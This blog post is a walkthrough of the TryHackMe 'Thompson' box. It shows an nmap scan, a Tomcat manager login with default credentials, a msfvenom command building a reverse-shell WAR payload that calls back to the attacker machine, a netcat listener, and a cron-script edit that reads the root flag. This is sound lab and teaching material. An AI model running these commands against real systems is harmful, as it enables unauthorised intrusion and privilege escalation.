Sitemap

Solving TryHackMe Box — Thompson

3 min readSep 13, 2021

--

Hello folks!

Today, I will walk through the THM box — Thompson. This is an easy box, The initial access to the machine can be obtained just by enumeration. It makes us realize how easy it is, to get into an application if the default/example credentials are used for the application and how stupid that idea even is.

Press enter or click to view image in full size
Thompson box banner

First, As usual enumeration with nmap to know the open ports and the services running on them.

nmap -sC -sV -v <TARGET_IP_ADDR>

Press enter or click to view image in full size
nmap scan

Ports 22, 8009, 8080 are open. I started with port 8080 as it is tomcat web server. The default tomcat webpage is displayed when the website is accessed. On trying to access the manager app, a password prompt is displayed. Cancelling the prompt displayed the Unauthorized page.

Press enter or click to view image in full size
Unauthorized page

The page contains an example with default credentials, using these credentials we can directly login to the manage app page.

Press enter or click to view image in full size
manage app

Once we are inside the manage app, we can also deploy a war file to the server. Taking this as an advantage, using msfvenom I have created an payload in war format to obtain the reverse shell.

msfvenom -p java/shell_reverse_tcp lhost=<ATTACK_MACHINE_IP> lport=<PORT> -f war -o pwn.war

Press enter or click to view image in full size
payload creation

Once the payload is created I had to upload that to the server and deploy it.

Press enter or click to view image in full size
war file upload

After deploying the war file, accessing the /pwn/ URL on the webpage will trigger the reverse shell. In order to get the shell, a listener should be created. I used netcat for this.

nc -lvp <PORT>

Once the listener is started, accessing the /pwn/ URL will result in reverse shell.

Press enter or click to view image in full size
pwn browse

But, this shell obtained is not an interactive one. Using the following command I got interactive shell.

python -c ‘import pty; pty.spawn(“/bin/bash”)’

Press enter or click to view image in full size
user flag

Once interactive shell is obtained, got the user flag from user.txt

Get Serene Summit’s stories in your inbox

Join Medium for free to get updates from this writer.

Checked other files in the folder as well. The id.sh file is printing the id command output to test.txt file. The test.txt file contains the uid of root, indicating that id.sh is ran with root permissions. So, checked the permissions of files in the folder.

directory list

In the list test.txt has root permissions and id.sh doesn’t. I then checked if it being run by a cron job, and I was right.

Press enter or click to view image in full size
cron tab

Modifying the id.sh to my need would get me the root flag. I added the following line to id.sh to get the root.txt file.

echo “cat /root/root.txt > root.txt” >> ./id.sh

updated id.sh

Waited for a minute to let the cron job run. Finally got the root.txt and obtained the root flag.

Press enter or click to view image in full size
root flag

Two learning's from this box:
1) Avoid using default credentials.
2) Avoid running user scripts in cronjob with elevated privileges.

--

--